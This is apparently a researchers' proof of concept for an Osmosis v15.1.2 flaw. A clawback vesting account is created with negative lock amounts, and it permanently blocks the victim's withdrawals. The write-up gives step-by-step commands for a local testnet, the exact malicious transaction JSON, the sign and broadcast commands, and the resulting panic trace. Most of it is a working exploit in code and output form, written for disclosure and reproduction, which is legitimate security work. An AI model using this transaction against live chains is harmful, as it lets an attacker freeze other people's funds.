by Yaar Hahn and Dima Kogan
See our blog post for full details.
The main steps are:
- Start the chain, attacker address already has funds.
- Attacker sends a
MsgCreateClawbackVestingAccountand poisons the victim's account. - Transfers additional funds into the victims account.
- Victim tries to withdraw the funds (which are not locked) — and fails.
Following Osmosis docs, our POC uses the localosmosis Docker container deployed locally.
- Setup the local Osmosis environment:
git clone git@github.com:osmosis-labs/osmosis.git cd osmosis git checkout v15.1.2 make build make localnet-init make localnet-startd cd build
- We use some pre-existing accounts in the environment: the validator's account (
osmo12smx2wdlyttvyzvzg54y2vnqwq2qjateuf7thj) as the attacker,lo-test2(osmo18s5lynnmx37hq4wlrw9gdn68sg2uxp5rgk26vv) for sending the deposit to the victim, and a freshly created account (osmo1c9arwefe2thwl7pl6j2ekp935k2gaf6zpfgfqs) as the victim.Expected output:echo "bottom loan skill merry east cradle onion journey palm apology verb edit desert impose absurd oil bubble sweet glove shallow size build burst effort" | ./osmosisd keys add attacker --recover --keyring-backend test echo "boy need wolf reflect idea mixture strike foster acoustic pool staff cream" | ./osmosisd keys add victim --recover --keyring-backend test echo "quality vacuum heart guard buzz spike sight swarm shove special gym robust assume sudden deposit grid alcohol choice devote leader tilt noodle tide penalty" | ./osmosisd keys add lo-test2 --recover --keyring-backend test
- name: attacker type: local address: osmo12smx2wdlyttvyzvzg54y2vnqwq2qjateuf7thj pubkey: '{"@type":"/cosmos.crypto.secp256k1.PubKey","key":"A2MR6q+pOpLtdxh0tHHe2JrEY2KOcvRogtLxHDHzJvOh"}' mnemonic: "" - name: victim type: local address: osmo1c9arwefe2thwl7pl6j2ekp935k2gaf6zpfgfqs pubkey: '{"@type":"/cosmos.crypto.secp256k1.PubKey","key":"A64RoDiAGWUCTfE +ADOere8jNwZOh5B/kEuijHv6WFqg"}' mnemonic: "" - name: lo-test2 type: local address: osmo18s5lynnmx37hq4wlrw9gdn68sg2uxp5rgk26vv pubkey: '{"@type":"/cosmos.crypto.secp256k1.PubKey","key":"A2G5GnZLlHyxQJUI6LW2ww1lnFEBy+3CCl8LsK2OY6Tj"}' mnemonic: ""
- Verify the balances in the accounts:
Expected output — the attacker and the auxiliary account should have funds, and the victim should not have any funds:
./osmosisd query bank balances osmo12smx2wdlyttvyzvzg54y2vnqwq2qjateuf7thj ./osmosisd query bank balances osmo18s5lynnmx37hq4wlrw9gdn68sg2uxp5rgk26vv ./osmosisd query bank balances osmo1c9arwefe2thwl7pl6j2ekp935k2gaf6zpfgfqs
balances: - amount: "100000000000" denom: stake - amount: "100000000000" denom: uion - amount: "99500000000" denom: uosmo pagination: next_key: null total: "0" balances: - amount: "100000000000" denom: stake - amount: "100000000000" denom: uion - amount: "100000000000" denom: uosmo pagination: next_key: null total: "0" balances: [] pagination: next_key: null total: "0"
- Create a file with the malicious transaction.
Note that we use a pre-generated transaction, as the CLI’s client code verifies that the amounts are not negative (unlike the code of the actual node, which does not validate the incoming message).
cat >tx.json <<EOL { "body": { "messages": [ { "@type": "/cosmos.vesting.v1beta1.MsgCreateClawbackVestingAccount", "from_address": "osmo12smx2wdlyttvyzvzg54y2vnqwq2qjateuf7thj", "to_address": "osmo1c9arwefe2thwl7pl6j2ekp935k2gaf6zpfgfqs", "start_time": "1684000000", "lockup_periods": [ { "length": "1", "amount": [ { "denom": "uosmo", "amount": "2" } ] }, { "length": "1000000000000", "amount": [ { "denom": "uosmo", "amount": "-1" } ] } ], "vesting_periods": [ { "length": "1", "amount": [ { "denom": "uosmo", "amount": "2" } ] }, { "length": "1000000000000", "amount": [ { "denom": "uosmo", "amount": "-1" } ] } ], "merge": false } ], "memo": "", "timeout_height": "0", "extension_options": [], "non_critical_extension_options": [] }, "auth_info": { "signer_infos": [], "fee": { "amount": [ { "denom": "uosmo", "amount": "1000" } ], "gas_limit": "350000", "payer": "", "granter": "" } }, "signatures": [] } EOL
- Sign and broadcast the transaction
./osmosisd tx sign tx.json --from osmo12smx2wdlyttvyzvzg54y2vnqwq2qjateuf7thj --keyring-backend test --chain-id localosmosis --fees 1000uosmo --output-document tx.signed.json ./osmosisd tx broadcast tx.signed.json - Check the new account is valid:
Expected output:
./osmosisd query account osmo1c9arwefe2thwl7pl6j2ekp935k2gaf6zpfgfqs
'@type': /cosmos.vesting.v1beta1.ClawbackVestingAccount base_vesting_account: base_account: account_number: "19" address: osmo1c9arwefe2thwl7pl6j2ekp935k2gaf6zpfgfqs pub_key: null sequence: "0" delegated_free: [] delegated_vesting: [] end_time: "1001684000001" original_vesting: - amount: "1" denom: uosmo funder_address: osmo12smx2wdlyttvyzvzg54y2vnqwq2qjateuf7thj lockup_periods: - amount: - amount: "2" denom: uosmo length: "1" - amount: - amount: "-1" denom: uosmo length: "1000000000000" start_time: "1684000000" vesting_periods: - amount: - amount: "2" denom: uosmo length: "1" - amount: - amount: "-1" denom: uosmo length: "1000000000000"
- Check the balance in the victim's account:
Expected output:
./osmosisd query bank balances osmo1c9arwefe2thwl7pl6j2ekp935k2gaf6zpfgfqs
balances: - amount: "1" denom: uosmo pagination: next_key: null total: "0"
- Fund the account with additional funds:
./osmosisd tx bank send osmo18s5lynnmx37hq4wlrw9gdn68sg2uxp5rgk26vv osmo1c9arwefe2thwl7pl6j2ekp935k2gaf6zpfgfqs 2000uosmo --keyring-backend test --chain-id localosmosis --fees 1000uosmo -y - Check the balance in the victim's account:
Expected output:
./osmosisd query bank balances osmo1c9arwefe2thwl7pl6j2ekp935k2gaf6zpfgfqs
balances: - amount: "2001" denom: uosmo pagination: next_key: null total: "0"
- Victim tries to send funds — and fails:
Expected output:
./osmosisd tx bank send osmo1c9arwefe2thwl7pl6j2ekp935k2gaf6zpfgfqs osmo18s5lynnmx37hq4wlrw9gdn68sg2uxp5rgk26vv 1uosmo --keyring-backend test --chain-id localosmosis --fees 1000uosmo -ycode: 111222 codespace: undefined data: "" events: [] gas_used: "0" gas_wanted: "0" height: "0" info: "" logs: [] raw_log: |" recovered: negative coin amount stack: goroutine 4204 [running]: runtime/debug.Stack() runtime/debug/stack.go:24 +0x64 github.com/cosmos/cosmos-sdk/baseapp.newDefaultRecoveryMiddleware.func1({0x213ad00, 0x2b89c68}) github.com/cosmos/cosmos-sdk@v0.46.10/baseapp/recovery.go:71 +0x24 github.com/cosmos/cosmos-sdk/baseapp.newRecoveryMiddleware.func1({0x213ad00?, 0x2b89c68?}) github.com/cosmos/cosmos-sdk@v0.46.10/baseapp/recovery.go:39 +0x34 github.com/cosmos/cosmos-sdk/baseapp.processRecovery({0x213ad00, 0x2b89c68}, 0x4000310768?) github.com/cosmos/cosmos-sdk@v0.46.10/baseapp/recovery.go:28 +0x38 github.com/cosmos/cosmos-sdk/baseapp.processRecovery({0x213ad00, 0x2b89c68}, 0x2bcf120?) github.com/cosmos/cosmos-sdk@v0.46.10/baseapp/recovery.go:33 +0x60 github.com/cosmos/cosmos-sdk/baseapp.(*BaseApp).runTx.func1() github.com/cosmos/cosmos-sdk@v0.46.10/baseapp/baseapp.go:658 +0xa8 panic({0x213ad00, 0x2b89c68}) runtime/panic.go:884 +0x20c github.com/cosmos/cosmos-sdk/x/auth/ante.SetUpContextDecorator.AnteHandle.func1() github.com/cosmos/cosmos-sdk@v0.46.10/x/auth/ante/setup.go:59 +0x1a4 panic({0x213ad00, 0x2b89c68}) runtime/panic.go:884 +0x20c github.com/cosmos/cosmos-sdk/types.Coins.Sub(...) github.com/cosmos/cosmos-sdk@v0.46.10/types/coin.go:379 github.com/cosmos/cosmos-sdk/x/auth/vesting/types.ClawbackVestingAccount.GetVestingCoins({0x400575e8a0, {0x40050a7020, 0x2b}, 0x645fcd00, {0x400575cb00, 0x2, 0x2}, {0x400575cb40, 0x2, 0x2}}, ...) github.com/cosmos/cosmos-sdk@v0.46.10/x/auth/vesting/types/vesting_account.go:659 +0xb0 github.com/cosmos/cosmos-sdk/x/auth/vesting/types.ClawbackVestingAccount.LockedCoins({0x400575e8a0, {0x40050a7020, 0x2b}, 0x645fcd00, {0x400575cb00, 0x2, 0x2}, {0x400575cb40, 0x2, 0x2}}, ...) github.com/cosmos/cosmos-sdk@v0.46.10/x/auth/vesting/types/vesting_account.go:665 +0x64 github.com/cosmos/cosmos-sdk/x/bank/keeper.BaseViewKeeper.LockedCoins({{_, _}, {_, _}, {_, _}}, {{0x2bb85d8, 0x4005fbfe90}, {0x2bcf120, 0x400575ca40}, ...}, ...) github.com/cosmos/cosmos-sdk@v0.46.10/x/bank/keeper/view.go:169 +0xe4 github.com/cosmos/cosmos-sdk/x/bank/keeper.BaseSendKeeper.subUnlockedCoins({{{0x2bccae0, 0x40011e6150}, {0x2b9c738, 0x40012ff140}, {0x2bceb20, 0x4000362750}}, {0x2bccae0, 0x40011e6150}, {0x2bceb20, 0x4000362750}, ...}, ...) github.com/cosmos/cosmos-sdk@v0.46.10/x/bank/keeper/send.go:251 +0x94 github.com/cosmos/cosmos-sdk/x/bank/keeper.BaseSendKeeper.SendCoins({{{0x2bccae0, 0x40011e6150}, {0x2b9c738, 0x40012ff140}, {0x2bceb20, 0x4000362750}}, {0x2bccae0, 0x40011e6150}, {0x2bceb20, 0x4000362750}, ...}, ...) github.com/cosmos/cosmos-sdk@v0.46.10/x/bank/keeper/send.go:155 +0x16c github.com/cosmos/cosmos-sdk/x/bank/keeper.BaseKeeper.SendCoinsFromAccountToModule({{{{0x2bccae0, 0x40011e6150}, {0x2b9c738, 0x40012ff140}, {0x2bceb20, 0x4000362750}}, {0x2bccae0, 0x40011e6150}, {0x2bceb20, 0x4000362750}, ...}, ...}, ...) github.com/cosmos/cosmos-sdk@v0.46.10/x/bank/keeper/keeper.go:472 +0xe8 github.com/osmosis-labs/osmosis/v15/x/txfees/keeper.DeductFees({_, _}, {_, _}, {{0x2bb85d8, 0x4005fbfe90}, {0x2bcf120, 0x400575ca40}, {{0xb, 0x0}, ...}, ...}, ...) github.com/osmosis-labs/osmosis/v15/x/txfees/keeper/feedecorator.go:245 +0x1e8 github.com/osmosis-labs/osmosis/v15/x/txfees/keeper.DeductFeeDecorator.AnteHandle({{_, _}, {_, _}, {_, _}, {{_, _}, {_, _}, ...}}, ...) github.com/osmosis-labs/osmosis/v15/x/txfees/keeper/feedecorator.go:216 +0x988 github.com/cosmos/cosmos-sdk/types.ChainAnteDecorators.func1({{0x2bb85d8, 0x4005fbfe90}, {0x2bcf120, 0x400575ca40}, {{0xb, 0x0}, {0x4005483540, 0xc}, 0x4d, {0x87f80e2, ...}, ...}, ...}, ...) github.com/cosmos/cosmos-sdk@v0.46.10/types/handler.go:40 +0xe4 github.com/cosmos/cosmos-sdk/x/auth/ante.ConsumeTxSizeGasDecorator.AnteHandle({{_, _}}, {{0x2bb85d8, 0x4005fbfe90}, {0x2bcf120, 0x400575ca40}, {{0xb, 0x0}, {0x4005483540, 0xc}, ...}, ...}, ...) github.com/cosmos/cosmos-sdk@v0.46.10/x/auth/ante/basic.go:142 +0x2a0 github.com/cosmos/cosmos-sdk/types.ChainAnteDecorators.func1({{0x2bb85d8, 0x4005fbfe90}, {0x2bcf120, 0x400575ca40}, {{0xb, 0x0}, {0x4005483540, 0xc}, 0x4d, {0x87f80e2, ...}, ...}, ...}, ...) github.com/cosmos/cosmos-sdk@v0.46.10/types/handler.go:40 +0xe4 github.com/cosmos/cosmos-sdk/x/auth/ante.ValidateMemoDecorator.AnteHandle({{_, _}}, {{0x2bb85d8, 0x4005fbfe90}, {0x2bcf120, 0x400575ca40}, {{0xb, 0x0}, {0x4005483540, 0xc}, ...}, ...}, ...) github.com/cosmos/cosmos-sdk@v0.46.10/x/auth/ante/basic.go:66 +0x1e4 github.com/cosmos/cosmos-sdk/types.ChainAnteDecorators.func1({{0x2bb85d8, 0x4005fbfe90}, {0x2bcf120, 0x400575ca40}, {{0xb, 0x0}, {0x4005483540, 0xc}, 0x4d, {0x87f80e2, ...}, ...}, ...}, ...) github.com/cosmos/cosmos-sdk@v0.46.10/types/handler.go:40 +0xe4 github.com/cosmos/cosmos-sdk/x/auth/ante.TxTimeoutHeightDecorator.AnteHandle({}, {{0x2bb85d8, 0x4005fbfe90}, {0x2bcf120, 0x400575ca40}, {{0xb, 0x0}, {0x4005483540, 0xc}, 0x4d, ...}, ...}, ...) github.com/cosmos/cosmos-sdk@v0.46.10/x/auth/ante/basic.go:205 +0x1a8 github.com/cosmos/cosmos-sdk/types.ChainAnteDecorators.func1({{0x2bb85d8, 0x4005fbfe90}, {0x2bcf120, 0x400575ca40}, {{0xb, 0x0}, {0x4005483540, 0xc}, 0x4d, {0x87f80e2, ...}, ...}, ...}, ...) github.com/cosmos/cosmos-sdk@v0.46.10/types/handler.go:40 +0xe4 github.com/cosmos/cosmos-sdk/x/auth/ante.ValidateBasicDecorator.AnteHandle({}, {{0x2bb85d8, 0x4005fbfe90}, {0x2bcf120, 0x400575ca40}, {{0xb, 0x0}, {0x4005483540, 0xc}, 0x4d, ...}, ...}, ...) github.com/cosmos/cosmos-sdk@v0.46.10/x/auth/ante/basic.go:34 +0xfc github.com/cosmos/cosmos-sdk/types.ChainAnteDecorators.func1({{0x2bb85d8, 0x4005fbfe90}, {0x2bcf120, 0x400575ca40}, {{0xb, 0x0}, {0x4005483540, 0xc}, 0x4d, {0x87f80e2, ...}, ...}, ...}, ...) github.com/cosmos/cosmos-sdk@v0.46.10/types/handler.go:40 +0xe4 github.com/osmosis-labs/osmosis/v15/ante.(*SendBlockDecorator).AnteHandle(_, {{0x2bb85d8, 0x4005fbfe90}, {0x2bcf120, 0x400575ca40}, {{0xb, 0x0}, {0x4005483540, 0xc}, 0x4d, ...}, ...}, ...) github.com/osmosis-labs/osmosis/v15/ante/sendblock.go:61 +0x15c github.com/cosmos/cosmos-sdk/types.ChainAnteDecorators.func1({{0x2bb85d8, 0x4005fbfe90}, {0x2bcf120, 0x400575ca40}, {{0xb, 0x0}, {0x4005483540, 0xc}, 0x4d, {0x87f80e2, ...}, ...}, ...}, ...) github.com/cosmos/cosmos-sdk@v0.46.10/types/handler.go:40 +0xe4 github.com/osmosis-labs/osmosis/v15/x/txfees/keeper.MempoolFeeDecorator.AnteHandle({{{_, _}, {_, _}, {_, _}, {_, _}, {_, _}}, ...}, ...) github.com/osmosis-labs/osmosis/v15/x/txfees/keeper/feedecorator.go:94 +0x4cc github.com/cosmos/cosmos-sdk/types.ChainAnteDecorators.func1({{0x2bb85d8, 0x4005fbfe90}, {0x2bcf120, 0x400575ca40}, {{0xb, 0x0}, {0x4005483540, 0xc}, 0x4d, {0x87f80e2, ...}, ...}, ...}, ...) github.com/cosmos/cosmos-sdk@v0.46.10/types/handler.go:40 +0xe4 github.com/osmosis-labs/osmosis/v15/app/upgrades/v9.MsgFilterDecorator.AnteHandle({}, {{0x2bb85d8, 0x4005fbfe90}, {0x2bcf120, 0x400575ca40}, {{0xb, 0x0}, {0x4005483540, 0xc}, 0x4d, ...}, ...}, ...) github.com/osmosis-labs/osmosis/v15/app/upgrades/v9/msg_filter_ante.go:23 +0xb0 github.com/cosmos/cosmos-sdk/types.ChainAnteDecorators.func1({{0x2bb85d8, 0x4005fbfe90}, {0x2bcf120, 0x400575ca40}, {{0xb, 0x0}, {0x4005483540, 0xc}, 0x4d, {0x87f80e2, ...}, ...}, ...}, ...) github.com/cosmos/cosmos-sdk@v0.46.10/types/handler.go:40 +0xe4 github.com/cosmos/cosmos-sdk/x/auth/ante.RejectExtensionOptionsDecorator.AnteHandle({}, {{0x2bb85d8, 0x4005fbfe90}, {0x2bcf120, 0x400575ca40}, {{0xb, 0x0}, {0x4005483540, 0xc}, 0x4d, ...}, ...}, ...) github.com/cosmos/cosmos-sdk@v0.46.10/x/auth/ante/ext.go:35 +0xc8 github.com/cosmos/cosmos-sdk/types.ChainAnteDecorators.func1({{0x2bb85d8, 0x4005fbfe90}, {0x2bcf120, 0x400575ca40}, {{0xb, 0x0}, {0x4005483540, 0xc}, 0x4d, {0x87f80e2, ...}, ...}, ...}, ...) github.com/cosmos/cosmos-sdk@v0.46.10/types/handler.go:40 +0xe4 github.com/CosmWasm/wasmd/x/wasm/keeper.CountTXDecorator.AnteHandle({{_, _}}, {{0x2bb8568, 0x4000054038}, {0x2bcf120, 0x400575ca40}, {{0xb, 0x0}, {0x4005483540, 0xc}, ...}, ...}, ...) github.com/CosmWasm/wasmd@v0.30.0/x/wasm/keeper/ante.go:44 +0x2d4 github.com/cosmos/cosmos-sdk/types.ChainAnteDecorators.func1({{0x2bb8568, 0x4000054038}, {0x2bcf120, 0x400575ca40}, {{0xb, 0x0}, {0x4005483540, 0xc}, 0x4d, {0x87f80e2, ...}, ...}, ...}, ...) github.com/cosmos/cosmos-sdk@v0.46.10/types/handler.go:40 +0xe4 github.com/CosmWasm/wasmd/x/wasm/keeper.LimitSimulationGasDecorator.AnteHandle({_}, {{0x2bb8568, 0x4000054038}, {0x2bcf120, 0x400575ca40}, {{0xb, 0x0}, {0x4005483540, 0xc}, 0x4d, ...}, ...}, ...) github.com/CosmWasm/wasmd@v0.30.0/x/wasm/keeper/ante.go:83 +0x46c github.com/cosmos/cosmos-sdk/types.ChainAnteDecorators.func1({{0x2bb8568, 0x4000054038}, {0x2bcf120, 0x400575ca40}, {{0xb, 0x0}, {0x4005483540, 0xc}, 0x4d, {0x87f80e2, ...}, ...}, ...}, ...) github.com/cosmos/cosmos-sdk@v0.46.10/types/handler.go:40 +0xe4 github.com/cosmos/cosmos-sdk/x/auth/ante.SetUpContextDecorator.AnteHandle({}, {{0x2bb8568, 0x4000054038}, {0x2bcf120, 0x400575ca40}, {{0xb, 0x0}, {0x4005483540, 0xc}, 0x4d, ...}, ...}, ...) github.com/cosmos/cosmos-sdk@v0.46.10/x/auth/ante/setup.go:64 +0x42c github.com/cosmos/cosmos-sdk/types.ChainAnteDecorators.func1({{0x2bb8568, 0x4000054038}, {0x2bcf120, 0x400575ca40}, {{0xb, 0x0}, {0x4005483540, 0xc}, 0x4d, {0x87f80e2, ...}, ...}, ...}, ...) github.com/cosmos/cosmos-sdk@v0.46.10/types/handler.go:40 +0xe4 github.com/cosmos/cosmos-sdk/baseapp.(*BaseApp).runTx(0x400021b860, 0x0, {0x4003628dc0, 0x135, 0x135}) github.com/cosmos/cosmos-sdk@v0.46.10/baseapp/baseapp.go:710 +0x530 github.com/cosmos/cosmos-sdk/baseapp.(*BaseApp).CheckTx(0x400021b860, {{0x4003628dc0?, 0x4002ac9750?, 0x4002ac9858?}, 0x591c738?}) github.com/cosmos/cosmos-sdk@v0.46.10/baseapp/abci.go:257 +0xc0 github.com/tendermint/tendermint/abci/client.(*localClient).CheckTxAsync(0x400010f320, {{0x4003628dc0?, 0x400626fa20?, 0xc678b0?}, 0x11ebee0?}) github.com/tendermint/tendermint@v0.34.24/abci/client/local_client.go:104 +0xf8 github.com/tendermint/tendermint/proxy.(*appConnMempool).CheckTxAsync(0x40011ebee0?, {{0x4003628dc0?, 0x400591c8e8?, 0x487a0c?}, 0x197?}) github.com/tendermint/tendermint@v0.34.24/proxy/app_conn.go:126 +0x2c github.com/tendermint/tendermint/mempool/v0.(*CListMempool).CheckTx(0x400138d2b0, {0x4003628dc0, 0x135, 0x135}, 0x0?, {0x0?, {0x0?, 0x4005fe2580?}}) github.com/tendermint/tendermint@v0.34.24/mempool/v0/clist_mempool.go:254 +0x294 github.com/tendermint/tendermint/rpc/core.BroadcastTxSync(0x4005cc0480, {0x4003628dc0, 0x135, 0x135}) github.com/tendermint/tendermint@v0.34.24/rpc/core/mempool.go:36 +0xd0 reflect.Value.call({0x21b4180?, 0x28efcb0?, 0x400591d198?}, {0x24c5089, 0x4}, {0x4005fbe780, 0x2, 0xdb57f0?}) reflect/value.go:584 +0x688 reflect.Value.Call({0x21b4180?, 0x28efcb0?, 0x1a5?}, {0x4005fbe780?, 0x4004fc9950?, 0x40058f8c00?}) reflect/value.go:368 +0x90 github.com/tendermint/tendermint/rpc/jsonrpc/server.makeJSONRPCHandler.func1({0x2bb67e0, 0x400661ab58}, 0x40050b7500) github.com/tendermint/tendermint@v0.34.24/rpc/jsonrpc/server/http_json_handler.go:108 +0xdbc github.com/tendermint/tendermint/rpc/jsonrpc/server.handleInvalidJSONRPCPaths.func1({0x2bb67e0?, 0x400661ab58?}, 0x3f4c880?) github.com/tendermint/tendermint@v0.34.24/rpc/jsonrpc/server/http_json_handler.go:140 +0x70 net/http.HandlerFunc.ServeHTTP(0x1001?, {0x2bb67e0?, 0x400661ab58?}, 0x42b0c8?) net/http/server.go:2109 +0x38 net/http.(*ServeMux).ServeHTTP(0x4000f80240?, {0x2bb67e0, 0x400661ab58}, 0x40050b7500) net/http/server.go:2487 +0x140 github.com/rs/cors.(*Cors).Handler.func1({0x2bb67e0, 0x400661ab58}, 0x40050b7500) github.com/rs/cors@v1.8.2/cors.go:231 +0x1e4 net/http.HandlerFunc.ServeHTTP(0x4000070800?, {0x2bb67e0?, 0x400661ab58?}, 0x245a180?) net/http/server.go:2109 +0x38 github.com/tendermint/tendermint/rpc/jsonrpc/server.maxBytesHandler.ServeHTTP({{0x2b99e20?, 0x40012064c0?}, 0x10?}, {0x2bb67e0?, 0x400661ab58}, 0x40050b7500) github.com/tendermint/tendermint@v0.34.24/rpc/jsonrpc/server/http_server.go:256 +0x138 github.com/tendermint/tendermint/rpc/jsonrpc/server.RecoverAndLogHandler.func1({0x2bb6e40?, 0x4003260c40}, 0x40050b7500) github.com/tendermint/tendermint@v0.34.24/rpc/jsonrpc/server/http_server.go:229 +0x2b4 net/http.HandlerFunc.ServeHTTP(0x0?, {0x2bb6e40?, 0x4003260c40?}, 0x739734?) net/http/server.go:2109 +0x38 net/http.serverHandler.ServeHTTP({0x2b9de30?}, {0x2bb6e40, 0x4003260c40}, 0x40050b7500) net/http/server.go:2947 +0x2cc net/http.(*conn).serve(0x4000eb3720, {0x2bb85d8, 0x400016c1e0}) net/http/server.go:1991 +0x544 created by net/http.(*Server).Serve net/http/server.go:3102 +0x43c : panic" timestamp: "" tx: null txhash: 40D4D8A4D7AD0808E33D75F47BA9681B1FC14F7CA02D380DA22005E542056D73